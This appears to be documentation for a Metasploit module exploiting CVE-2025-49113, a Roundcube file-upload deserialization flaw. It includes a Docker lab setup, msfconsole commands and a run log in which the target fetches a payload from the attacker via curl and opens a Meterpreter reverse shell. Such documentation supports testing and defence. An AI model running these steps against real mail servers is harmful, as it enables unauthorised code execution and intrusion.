## Vulnerable Application
  This module exploits an authenticated remote code execution vulnerability via a file upload
  endpoint. The vulnerability stems from improper validation of the uploaded filename, which is
  deserialized on the server side without sufficient sanitization. By embedding a PHP serialization
  gadget chain in the filename, an attacker can achieve remote code execution.

  This issue is tracked as CVE-2025-49113. Exploitation results in code execution as the web server
  user.

## Testing
To set up a test environment:
1. Set up an Roundcube.

Create File
`docker-compose.xml`
```
version: '3'

services:
  db:
    image: mariadb:10.5
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: example_root_pass
      MYSQL_DATABASE: roundcube
      MYSQL_USER: roundcube_user
      MYSQL_PASSWORD: roundcube_pass
    volumes:
      - db_data:/var/lib/mysql

  roundcube:
    image: roundcube/roundcubemail:1.5.9-apache
    depends_on:
      - db
    ports:
      - "8080:80"
    environment:
      ROUNDCUBEMAIL_DEFAULT_HOST: <ROUNDCUBEMAIL_DEFAULT_HOST>
      ROUNDCUBEMAIL_SMTP_SERVER: <ROUNDCUBEMAIL_SMTP_SERVER>
      ROUNDCUBEMAIL_SMTP_PORT: 587
      ROUNDCUBEMAIL_SMTP_USER: <ROUNDCUBEMAIL_SMTP_USER>
      ROUNDCUBEMAIL_SMTP_PASS: <ROUNDCUBEMAIL_SMTP_PASS>
      ROUNDCUBEMAIL_DES_KEY: randomstring
      ROUNDCUBEMAIL_DB_TYPE: mysql
      ROUNDCUBEMAIL_DB_HOST: db
      ROUNDCUBEMAIL_DB_USER: roundcube_user
      ROUNDCUBEMAIL_DB_PASSWORD: roundcube_pass
      ROUNDCUBEMAIL_DB_NAME: roundcube

volumes:
  db_data:
```

Execute

`docker compose up`

2. Configure basic networking and confirm that the web service on port 8080 is reachable.
3. Follow the verification steps below.

## Options
No custom options exist for this module.

## Verification Steps
1. Start msfconsole
2. `use exploit/multi/http/roundcube_unauth_rce_cve_2025_49113`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `set LHOST <LOCAL_IP>`
6. `set LPORT <LOCAL_PORT>`
7. `set USERNAME <USERNAME_TO_LOGIN_WITH>`
8. `set PASSWORD <PASSWORD_TO_LOGIN_WITH>`
9. `run`

## Scenarios
### Roundcube Linux Target
```
msf exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > show options

Module options (exploit/multi/http/roundcube_unauth_rce_cve_2025_49113):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HOST                        no        The hostname of Roundcube server
   PASSWORD                    yes       Password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      9999             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the Roundcube Application
   TIMEOUT    3                no        Time to wait for session (in seconds)
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME                    yes       Email User to login with
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux

msf exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > exploit

[*] Started reverse TCP handler on 192.168.159.129:8082 
[*] Using URL: http://192.168.159.129:9696/
[*] Fetching CSRF token...
[*] Attempting login...
[+] Login successful.
[*] Preparing payload...
[+] Payload successfully generated and serialized.
[*] Uploading malicious payload...
[*] Client 192.168.181.148 (curl/7.74.0) requested /
[*] Sending payload to 192.168.181.148 (curl/7.74.0)
[*] Sending stage (3045380 bytes) to 192.168.181.148
[*] Meterpreter session 1 opened (192.168.159.129:8082 -> 192.168.181.148:56528) at 2025-06-06 21:05:59 -0400
[+] Exploit attempt complete. Check for session.
[*] Server stopped.

meterpreter > getuid
Server username: www-data

meterpreter > sysinfo
Computer     : dante.local
OS           : Debian 11.5 (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

```
